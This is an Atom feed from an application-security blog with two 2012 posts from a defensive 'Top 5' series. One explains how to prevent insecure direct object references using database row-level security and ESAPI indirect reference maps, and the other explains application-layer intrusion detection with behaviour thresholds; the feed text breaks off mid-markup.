<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-2278699633637555082</id><updated>2026-06-08T06:40:44.466-06:00</updated><category term="application security"/><category term="ESAPI"/><category term="javascript"/><category term="java"/><category term="security"/><category term="Conferences"/><category term="Google"/><category term="OWASP"/><category term="development"/><category term="internet security"/><category term="J2EE"/><category term="authentication"/><category term="dom based xss"/><category term="encoder"/><category term="firefox"/><category term="jquery"/><category term="password stealing"/><category term="Apple"/><category term="CSRF"/><category term="Call to Arms"/><category term="Eric Schmidt"/><category term="Kaminsky"/><category term="Lucene"/><category term="Servlets"/><category term="Tips and Tricks"/><category term="cracking"/><category term="ddos"/><category term="dns"/><category term="hack"/><category term="identity theft"/><category term="jconsole"/><category term="jmx"/><category term="life"/><category term="management"/><category term="owasp summit"/><category term="plugins"/><category term="random thoughts"/><category term="reviews"/><category term="sql injection"/><category term="ssl"/><category term="testing"/><category term="thread safety"/><category term="tomcat"/><category term="tools"/><category term="top ten"/><category term="twitter"/><category term="uberconf nfjs appsec conference training"/><category term="usability"/><category term="wtf"/><title type='text'>Yet Another Developer&#39;s Blog</title><subtitle type='html'>Musings of an Application Security and Software Engineer...</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://yet-another-dev.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://yet-another-dev.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>Chris Schmidt</name><uri>http://www.blogger.com/profile/00176557422611541107</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6bOTMV0NKNtfXZvgAu95knHNmmoQvNBcKLWuPIS3XQFXDDxDohvUdq6iJSPJ_kFFcdUyoMxLkBjl1SlSt7eMfU2PmCr08xDsKnkdR6n44IAx305oYX71ZIngokgqS9Q/s1600/187576_540702549_2394666_n.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>42</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-2278699633637555082.post-411452058557976482</id><published>2012-03-22T10:33:00.000-06:00</published><updated>2012-03-22T10:33:38.290-06:00</updated><title type='text'>T5WTPYAFGP - Fix Your URL</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhP-VW5cJR-NHe_Ou7ztGUHrDmLTXlRqXvn98dIZWTmrX7dX8vvx4LQGl4jfW_XYvilpBw_NFL3qeYgf3KXpMGIUjxpN3OmiQfaovt3b42j7Hm4mkVQaV_wU24-d6dE6trGno325kJmE0JA/s1600/331222647_f7dd123418_z.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;br class=&quot;Apple-interchange-newline&quot; /&gt;&lt;img border=&quot;0&quot; height=&quot;200&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhP-VW5cJR-NHe_Ou7ztGUHrDmLTXlRqXvn98dIZWTmrX7dX8vvx4LQGl4jfW_XYvilpBw_NFL3qeYgf3KXpMGIUjxpN3OmiQfaovt3b42j7Hm4mkVQaV_wU24-d6dE6trGno325kJmE0JA/s200/331222647_f7dd123418_z.jpg&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
At&amp;nbsp;&lt;a href=&quot;http://sxsw.com/&quot; target=&quot;_blank&quot;&gt;South by Southwest&lt;/a&gt;&amp;nbsp;this year, during my talk&amp;nbsp;&lt;a href=&quot;http://portal.sliderocket.com/BLXKW/ESAPI&quot; target=&quot;_blank&quot;&gt;Defense Against The Dark Arts - ESAPI&lt;/a&gt;&amp;nbsp;I covered the &quot;Top 5 Ways To Protect Your Application From Getting Pwnd&quot; [T5WTPYAFGP]. After a couple offline conversations I decided that this would make an excellent series of follow-up blog posts so what follows is the adaptation of that presentation material from that talk. Unlike a lot of other Top-N lists, the goal of this one is not to iterate the flaws, but rather to iterate the solutions.&lt;br /&gt;
&lt;br /&gt;
Additionally&amp;nbsp;each post includes some samples on how you can use&amp;nbsp;&lt;a href=&quot;http://www.esapi.org/&quot; target=&quot;_blank&quot;&gt;ESAPI&lt;/a&gt;&amp;nbsp;to implement the solutions discussed.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
You can use the navigation below to navigate between each of the posts.&lt;/div&gt;
&lt;br /&gt;
&lt;a href=&quot;http://yet-another-dev.blogspot.com/2012/03/t5wtpyafgp-encrypt-sensitive.html&quot; target=&quot;_blank&quot;&gt;[5] Encrypt Sensitive Information&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://yet-another-dev.blogspot.com/2012/03/t5wtpyafgp-become-big-brother.html&quot; target=&quot;_blank&quot;&gt;[4] Become &quot;Big Brother&quot;&amp;nbsp;&lt;/a&gt;&lt;br /&gt;
[3] Fix Your URL [Current]&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilsjxd2sVefZr2LUmsAsiaoEy16H45S0QmS_pGvMD-o8ziZYvnACX0-mknaLMidxniEtXKi9lbVQOUdJTMlk_ggN_le5NCSvv1r2VHC2bZ7MPhHRJyke8krYBWt8oYmK6a8YO-PAX_gEof/s1600/clean_urls.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;167&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilsjxd2sVefZr2LUmsAsiaoEy16H45S0QmS_pGvMD-o8ziZYvnACX0-mknaLMidxniEtXKi9lbVQOUdJTMlk_ggN_le5NCSvv1r2VHC2bZ7MPhHRJyke8krYBWt8oYmK6a8YO-PAX_gEof/s320/clean_urls.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;&lt;u&gt;3. Fix Your URL&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
In the history of dynamic web applications, few things have been more fruitful and more easy than simply changing the value of a parameter on a URL or in a hidden form field. For years we have seen urls that contain something like &lt;u&gt;?id=1000&lt;/u&gt;&amp;nbsp;which instructs the application to load the data associated with a primary key value of 1000. This isn&#39;t rocket science, and it required behavior in most apps, after all it is the very definition of a dynamic web application.&lt;br /&gt;
&lt;br /&gt;
What about a form with a field like this:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;html&quot; name=&quot;code&quot;&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;id&quot; value=&quot;1000&quot; /&amp;gt;&lt;/pre&gt;
&lt;br /&gt;
This seems innocent enough, but what if the object on the other side of that id is a sensitive document, or contains sensitive information?&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGZ2CgkAR8d4gfIoUZTJg_OB9XLx9_UGJaj7SPlmeAjfcrJCU-mJhOycKhKTKcGH69IGpPmnbocvb3E6nughz6sl6vx-RGzCjGRBQHiXQSkphHZB09bH6mCjTYigdhZYDbCtJmvbkEpMYw/s1600/citi.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;150&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGZ2CgkAR8d4gfIoUZTJg_OB9XLx9_UGJaj7SPlmeAjfcrJCU-mJhOycKhKTKcGH69IGpPmnbocvb3E6nughz6sl6vx-RGzCjGRBQHiXQSkphHZB09bH6mCjTYigdhZYDbCtJmvbkEpMYw/s200/citi.png&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Better yet, what if we change the name of the parameter to accountNumber and the data on the other side of accountNumber contains all of the financial data for the client of a bank? What if that banks name happens to be &lt;a href=&quot;http://www.citigroup.com/citi/homepage/&quot; target=&quot;_blank&quot;&gt;CitiGroup&lt;/a&gt;?&lt;br /&gt;
&lt;br /&gt;
Last year, CitiGroup was the target of an &lt;a href=&quot;http://online.wsj.com/article/SB10001424052702304259304576374713184158184.html&quot; target=&quot;_blank&quot;&gt;attack &lt;/a&gt;that exposed the financial information, including credit card information of 200,000 customers, about 1% of their customer-base - all because of a little problem from the &lt;a href=&quot;https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project&quot; target=&quot;_blank&quot;&gt;OWASP Top Ten&lt;/a&gt;&amp;nbsp;called &lt;a href=&quot;https://www.owasp.org/index.php/Top_10_2010-A4&quot; target=&quot;_blank&quot;&gt;Insecure Direct Object References&lt;/a&gt;. Attackers in this case discovered a parameter that they could simply increment to gain access to user accounts that did not belong to them.&lt;br /&gt;
&lt;br /&gt;
So how exactly do you protect yourself against this problem, I mean we have to have the ability to reference data dynamically and the selection of that data has to come from the client.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;Option 1: Data Level Access Control&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
The best solution to this problem is to implement some kind of data level access control policy. This can be implemented in a number of ways from Row-Level Security in the database layer to implementing an application layer check. Creating and implementing a data level access control policy is a difficult and time consuming task and is extremely hard to get right.&lt;br /&gt;
&lt;br /&gt;
In my SXSW talk I glazed over this approach a little, mainly because it is a field full of many rabbit-holes just waiting for some poor unsuspecting speaker to tumble in. Below are just a few of the potential solutions and some high level analysis of each approach.&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;Database Row-Level Security&lt;/u&gt;&lt;br /&gt;
Row-Level and Cell-Level Security are a bit of an&amp;nbsp;ingenious idea that has grown in popularity over the last several year - the fundamental idea is that you limit the data accessible to the session user. While Oracle and SQL Server have implemented this type of functionality natively within their products and documented it somewhat profusely, it isn&#39;t quite as straight-forward in MySQL - so that is where we will focus for the purpose of this post.&lt;br /&gt;
&lt;br /&gt;
There are 2 key elements to implementing a Row-Level Security implementation at the database layer:&lt;br /&gt;
&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;Federate User Identity to Database Layer&lt;/li&gt;
&lt;li&gt;Extensive use of Views&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
The idea here is that the view acts as the &lt;a href=&quot;http://www.birds-eye.net/definition/p/pep-policy_enforcement_point.shtml&quot; target=&quot;_blank&quot;&gt;Policy Enforcement Point&lt;/a&gt; for the data being requested by the &lt;u style=&quot;font-weight: bold;&quot;&gt;User&lt;/u&gt;. There are two approaches to defining the policy for data - add a column to the table, or have a central policy table that is joined in the view definition. I like to opt for the second option simply as a matter of maintainability.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Envision you have the following table:&lt;/div&gt;
&lt;br /&gt;
&lt;pre class=&quot;sql&quot; name=&quot;code&quot;&gt;create table account (
   id         bigint not null auto_increment,
   type       int not null,
   name       varchar(64) not null,
   primary key (id) 
) engine=InnoDB;
&lt;/pre&gt;
&lt;br /&gt;
&lt;div&gt;
Perhaps you create a policy table (and support tables) with the following schema:&lt;/div&gt;
&lt;br /&gt;
&lt;pre class=&quot;sql&quot; name=&quot;code&quot;&gt;create table rls_policy (
   id         bigint not null auto_increment,
   user_id    bigint not null,
   data_id    bigint not null,
   data_type  int not null,
   read       int(1) not null,
   write      int(1) not null,
   create     int(1) not null,
   delete     int(1) not null,
   primary key (id),
   foreign key (user_id) references user(id),
   foreign key (data_type) references data_type(type),
   index (user_id, data_id, data_type)
) engine=InnoDB;

create table data_type (
   type        varchar(256) not null primary key
) engine=InnoDB;
&lt;/pre&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;
Now you need to create a view:&lt;/div&gt;
&lt;br /&gt;
&lt;pre class=&quot;sql&quot; name=&quot;code&quot;&gt;create or replace view user_accounts (
   id,
   type,
   name
) 
AS
   select acct.id
        , acct.type
        , acct.name
     from account acct
        , rls_security rls
    where rls.user_id = @app_user_id
      and rls.data_type = &#39;account&#39;,
      and rls.read = 1
 order by 3 asc;
&lt;/pre&gt;
&lt;br /&gt;
The final step is to instruct your application to set the app_user variable when a connection is checked out and clear it when the connection is returned (assuming you are using a connection pool)
&lt;br /&gt;
&lt;pre class=&quot;java&quot; name=&quot;code&quot;&gt;public class RowLevelSecurityConnectionCustomizer extends AbstractConnectionCustomizer {
    @Override
    public void onCheckOut( Connection c, String pdsIdt )
    { 
        User currentUser = ESAPI.authenticator().getCurrentUser();
        try {
            PreparedStatement ps = c.prepareStatement(&quot;SET @app_user=?&quot;).setInt(Integer.valueOf(currentUser.getAccountID());
            ps.execute();
        } catch (Exception e) {
            // Don&#39;t blindly catch exceptions and take no action in production, please for the love of all that is good and holy.
        }
    }
    
    @Override
    public void onCheckIn( Connection c, String pdsIdt )
    { 
        try {
            c.executeUpdate(&quot;SET @app_user=NULL&quot;);
        } catch (Exception e) {
            // Handle the error
        }
    }
&lt;/pre&gt;
&lt;br /&gt;
The code sample is not guaranteed to compile and work (I don&#39;t remember the last time I interfaced directly with JDBC), but is simply to illustrate the idea.&lt;br /&gt;
&lt;br /&gt;
Now when you would normally query the accounts table, you should be querying the view instead. The results returned in a &lt;code&gt;select * from user_accounts;&lt;/code&gt; will result in a subset of the data scoped to the currently logged in application user. This example can be extended even further using triggers and update-able views to add policy enforcement to create, update and delete actions as well.&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;Application Layer Data Access Control&lt;/u&gt;&lt;br /&gt;
Another approach is to perform data access control in your application, which has been the standard approach to this problem for some time. The ESAPI implementation ships with a&lt;a href=&quot;http://owasp-esapi-java.googlecode.com/svn/trunk/src/main/java/org/owasp/esapi/reference/DefaultAccessController.java&quot; target=&quot;_blank&quot;&gt; reference implementation&lt;/a&gt; of the &lt;a href=&quot;http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/AccessController.html&quot; target=&quot;_blank&quot;&gt;AccessController&lt;/a&gt;&amp;nbsp;which illustrates an example of how to build a data access controller and access control policy.&lt;br /&gt;
&lt;br /&gt;
Once you have your policy configured, you can simply invoke the ESAPI Access Controller to make your policy decisions.&lt;br /&gt;
&lt;pre class=&quot;java&quot; name=&quot;code&quot;&gt;ESAPI.accessController().assertAuthorized(&quot;AccessAccountInfo&quot;, account);&lt;/pre&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;Option 2: Indirect Object Reference Map&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
Creating a data level access control policy and implementation is a time consuming and daunting task, and may not make sense for every situation. When Jeff invented the ESAPI he understood and realized this so he created an object that if used correctly would offer a solution to the problem of direct references and offer some deny by default access control to data as well. Using this object is very simple, the idea is to populate the Map with all the data available to the application user first, then refer to each piece of data be it&#39;s indirect key rather than it&#39;s primary key.&lt;br /&gt;
&lt;br /&gt;
What you end up with is something similar to this (continuing on our accounts example from above)&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;java&quot; name=&quot;code&quot;&gt;List&amp;lt;account&amp;gt; accounts = AccountService.fetchAccounts();
AbstractAccessReferenceMap&amp;lt;account&amp;gt; accountReferenceMap = new AbstractAccessReferenceMap(accounts.size());
for (Account a : accounts) {
   accountReferenceMap.addDirectReference(a);
}

session.setAttribute(&quot;accounts&quot;, accounts);
session.setAttribute(&quot;accountsRef&quot; accountReferenceMap);
&lt;/pre&gt;
And a view layer that looks something like this:
&lt;br /&gt;
&lt;pre class=&quot;html&quot; name=&quot;code&quot;&gt;&amp;lt;%
   List&amp;lt;Account&amp;gt; accounts = ESAPI.httpUtilities().getSessionAttribute(&quot;accounts&quot;);
   AbstractAccessReferenceMap&amp;lt;Account&amp;gt; accountRefs = ESAPI.httpUtilities().getSessionAttribute(&quot;accountRefs&quot;);

   for (Account a : accounts) {
%&amp;gt;
&amp;lt;a href=&quot;http://draft.blogger.com/view/account?accountID=&amp;lt;%= accountRefs.getIndirectReference(a) %&amp;gt;&quot;&amp;gt;View Account &amp;lt;%= a.getName() %&amp;gt;&amp;lt;/a&amp;gt;
&amp;lt;% } %&amp;gt;
&lt;/pre&gt;
Which leaves you with a URL that looks something like this:
&lt;br /&gt;
&lt;pre&gt;http://my.company.com/application/view/account?accountID=5JtjyJA573JsJ48732Kkojnv&lt;/pre&gt;
As you can imagine, this makes it extremely unlikely that an attacker would be able to guess the reference to your account (especially since it isn&#39;t a static value and is changing every time the list of accounts is built up)&lt;br /&gt;
To add a inferred level of data access control to this strategy, you should populate the list with only accounts that are owned by the application user.&lt;br /&gt;
&lt;br /&gt;
So there you have it, your level of risk should determine which approach you take to solving this issue, but the goal should always be the same - don&#39;t be like CitiGroup (or one of the countless other thousands of applications that do the same thing)&lt;br /&gt;
&lt;br /&gt;
Stay tuned for tomorrows post for #2 - Validate User Data!</content><link rel='replies' type='application/atom+xml' href='http://yet-another-dev.blogspot.com/feeds/411452058557976482/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yet-another-dev.blogspot.com/2012/03/t5wtpyafgp-fix-your-url.html#comment-form' title='9 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/411452058557976482'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/411452058557976482'/><link rel='alternate' type='text/html' href='http://yet-another-dev.blogspot.com/2012/03/t5wtpyafgp-fix-your-url.html' title='T5WTPYAFGP - Fix Your URL'/><author><name>Chris Schmidt</name><uri>http://www.blogger.com/profile/00176557422611541107</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6bOTMV0NKNtfXZvgAu95knHNmmoQvNBcKLWuPIS3XQFXDDxDohvUdq6iJSPJ_kFFcdUyoMxLkBjl1SlSt7eMfU2PmCr08xDsKnkdR6n44IAx305oYX71ZIngokgqS9Q/s1600/187576_540702549_2394666_n.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhP-VW5cJR-NHe_Ou7ztGUHrDmLTXlRqXvn98dIZWTmrX7dX8vvx4LQGl4jfW_XYvilpBw_NFL3qeYgf3KXpMGIUjxpN3OmiQfaovt3b42j7Hm4mkVQaV_wU24-d6dE6trGno325kJmE0JA/s72-c/331222647_f7dd123418_z.jpg" height="72" width="72"/><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2278699633637555082.post-7048644703573281306</id><published>2012-03-19T08:05:00.002-06:00</published><updated>2012-03-22T10:34:32.090-06:00</updated><title type='text'>T5WTPYAFGP - Become Big Brother</title><content type='html'>&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhP-VW5cJR-NHe_Ou7ztGUHrDmLTXlRqXvn98dIZWTmrX7dX8vvx4LQGl4jfW_XYvilpBw_NFL3qeYgf3KXpMGIUjxpN3OmiQfaovt3b42j7Hm4mkVQaV_wU24-d6dE6trGno325kJmE0JA/s1600/331222647_f7dd123418_z.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;200&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhP-VW5cJR-NHe_Ou7ztGUHrDmLTXlRqXvn98dIZWTmrX7dX8vvx4LQGl4jfW_XYvilpBw_NFL3qeYgf3KXpMGIUjxpN3OmiQfaovt3b42j7Hm4mkVQaV_wU24-d6dE6trGno325kJmE0JA/s200/331222647_f7dd123418_z.jpg&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
At&amp;nbsp;&lt;a href=&quot;http://sxsw.com/&quot; target=&quot;_blank&quot;&gt;South by Southwest&lt;/a&gt;&amp;nbsp;this year, during my talk&amp;nbsp;&lt;a href=&quot;http://portal.sliderocket.com/BLXKW/ESAPI&quot; target=&quot;_blank&quot;&gt;Defense Against The Dark Arts - ESAPI&lt;/a&gt;&amp;nbsp;I covered the &quot;Top 5 Ways To Protect Your Application From Getting Pwnd&quot; [T5WTPYAFGP]. After a couple offline conversations I decided that this would make an excellent series of follow-up blog posts so what follows is the adaptation of that presentation material from that talk. Unlike a lot of other Top-N lists, the goal of this one is not to iterate the flaws, but rather to iterate the solutions.&lt;br /&gt;
&lt;br /&gt;
Additionally&amp;nbsp;each post includes some samples on how you can use&amp;nbsp;&lt;a href=&quot;http://www.esapi.org/&quot; target=&quot;_blank&quot;&gt;ESAPI&lt;/a&gt;&amp;nbsp;to implement the solutions discussed.&lt;br /&gt;
&lt;br /&gt;
You can use the navigation below to navigate between each of the posts.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://yet-another-dev.blogspot.com/2012/03/t5wtpyafgp-encrypt-sensitive.html&quot; target=&quot;_blank&quot;&gt;[5] Encrypt Sensitive Information&lt;/a&gt;&lt;br /&gt;
[4] Become &quot;Big Brother&quot; [current]&lt;br /&gt;
&lt;a href=&quot;http://yet-another-dev.blogspot.com/2012/03/t5wtpyafgp-fix-your-url.html&quot; target=&quot;_blank&quot;&gt;[3] Fix Your URL&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheb0CyswgAfODDkRWypDpD6GxKhQNSI2D-g5TTyW6z_PuqtL15Eva1AN3F9lMO76LgT5A4prtjstiahxqfY7u52BeywiMkRWKM_NPvAA2pzEucrY8BXlAz5Q2AhGRVfHmIc9vbmbPfPkwq/s1600/big-brother-poster.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;200&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheb0CyswgAfODDkRWypDpD6GxKhQNSI2D-g5TTyW6z_PuqtL15Eva1AN3F9lMO76LgT5A4prtjstiahxqfY7u52BeywiMkRWKM_NPvAA2pzEucrY8BXlAz5Q2AhGRVfHmIc9vbmbPfPkwq/s200/big-brother-poster.jpg&quot; width=&quot;186&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;&lt;u&gt;4. Become &quot;Big Brother&quot;&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
As much as &quot;Big Brother&quot; irritates and/or scares the pants off of us in the real world, it is your responsibility to take up this mantle for your application - or better yet, have the application do it for you all by itself!&lt;br /&gt;
&lt;br /&gt;
Intrusion detection and prevention systems are a long accepted means of detecting and&amp;nbsp;neutralizing threats to networks, but there is a common weakness that they all have in common - they are network devices. As a network device they have no context in the application and can only provide a pattern-based blacklist approach to protecting your web applications. While this is a valuable piece of the overall security puzzle, what is lacking is a way for the application to monitor and respond to attacks. The key to implementing this protection is to teach your application to understand&amp;nbsp;&lt;u style=&quot;font-weight: bold;&quot;&gt;user behavior&lt;/u&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;What is User Behavior?&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
To understand user behavior all you have to do is understand how your application is intended to be used. If a user deviates from the&amp;nbsp;&lt;u style=&quot;font-weight: bold;&quot;&gt;happy path&lt;/u&gt;&amp;nbsp;by trying to subvert or bypass logic that you have in place then they are exhibiting&amp;nbsp;&lt;u style=&quot;font-weight: bold;&quot;&gt;bad user behavior&lt;/u&gt;. However, no user is perfect and everyone occasionally makes mistakes. This is the primary purpose of&amp;nbsp;&lt;u style=&quot;font-weight: bold;&quot;&gt;thresholds&lt;/u&gt;&amp;nbsp;- that is, how many times, or how much a user is allowed to deviate from the happy path before they are exhibiting bad user behavior.&lt;br /&gt;
&lt;br /&gt;
As an example, let&#39;s take the log in functionality of an application. Logging in a a typical piece of functionality that exists in just about every dynamic web application in the world.&lt;br /&gt;
&lt;br /&gt;
A typical flow chart for the log in process may look similar to this:&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaNn4z36odmZ_7YD2JpxjBJy8-QeA34RnBq_azsRCib_lHZcfurxy4irL3uL8W-i68U4iHdvU1tVIEy51wLCrrF13ETuwyA_IzKL_TMmnWsJzY0WRHcCWjxjr1w49tu3VQnG5lDUamCRxW/s1600/LoginUserBehavior+(1).png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;480&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaNn4z36odmZ_7YD2JpxjBJy8-QeA34RnBq_azsRCib_lHZcfurxy4irL3uL8W-i68U4iHdvU1tVIEy51wLCrrF13ETuwyA_IzKL_TMmnWsJzY0WRHcCWjxjr1w49tu3VQnG5lDUamCRxW/s640/LoginUserBehavior+(1).png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
There are a lot of user behaviors that we can extrapolate from this process flow. Here are a few of them:&lt;br /&gt;
&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;&lt;b&gt;Behavior&lt;/b&gt;: Anonymous User reaches (A) more than&amp;nbsp;&lt;b&gt;n&lt;/b&gt;&amp;nbsp;times without reaching (C)&lt;br /&gt;&lt;b&gt;Reaction:&amp;nbsp;&lt;/b&gt;[1] notify admin of DoS - [2] ban user ip for&amp;nbsp;&lt;b&gt;n&lt;/b&gt;-minutes&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Behavior:&amp;nbsp;&lt;/b&gt;Anonymous&amp;nbsp;User reaches (D) more than&amp;nbsp;&lt;b&gt;n&lt;/b&gt;&amp;nbsp;times with&amp;nbsp;&lt;b&gt;n&lt;/b&gt;&amp;nbsp;different usernames&lt;br /&gt;&lt;b&gt;Reaction:&amp;nbsp;&lt;/b&gt;[1] notify admin of Brute Force - [2] ban user ip for&amp;nbsp;&lt;b&gt;n&lt;/b&gt;-minutes&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Behavior:&amp;nbsp;&lt;/b&gt;Anonymous User reaches (E) after&amp;nbsp;&lt;b&gt;n&amp;nbsp;&lt;/b&gt;times reaching (G)&lt;br /&gt;&lt;b&gt;Reaction:&amp;nbsp;&lt;/b&gt;[1] notify admin of Brute Force/DoS - [2] ban user ip for&amp;nbsp;&lt;b&gt;n&lt;/b&gt;-minutes&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
Notice that in defining the behaviors, we are not altering the flow of the application itself, we are instead detecting conditions across the process flow and reacting to them. This is the true power of application layer intrusion detection and prevention.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Once we have identified our user behaviors, we can start to educate our application on how to respond to these conditions. By design, to enable intrusion detection in your application, the only requirement is to configure it to be enabled in your &lt;b&gt;&lt;u&gt;ESAPI.properties&lt;/u&gt;&lt;/b&gt; file. Simply set the &lt;i&gt;&lt;u&gt;IntrusionDetector.Disable&lt;/u&gt;&lt;/i&gt; property to be &lt;b&gt;false&lt;/b&gt; and you are in business. Once intrusion detection is enabled in your application, any exception that extends the &lt;a href=&quot;http://owasp-esapi-java.googlecode.com/svn/trunk/src/main/java/org/owasp/esapi/errors/EnterpriseSecurityException.java&quot; target=&quot;_blank&quot;&gt;EnterpriseSecurityException&lt;/a&gt;&amp;nbsp;will raise an event that the intrusion detector can be configured to respond to.&lt;br /&gt;
&lt;br /&gt;
In the &lt;u style=&quot;font-weight: bold;&quot;&gt;ESAPI.properties&lt;/u&gt;&amp;nbsp;file you will find a section for IntrusionDetection with a sample configuration for events. You can add custom events here and configure what actions should be taken as well as thresholds for those events.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
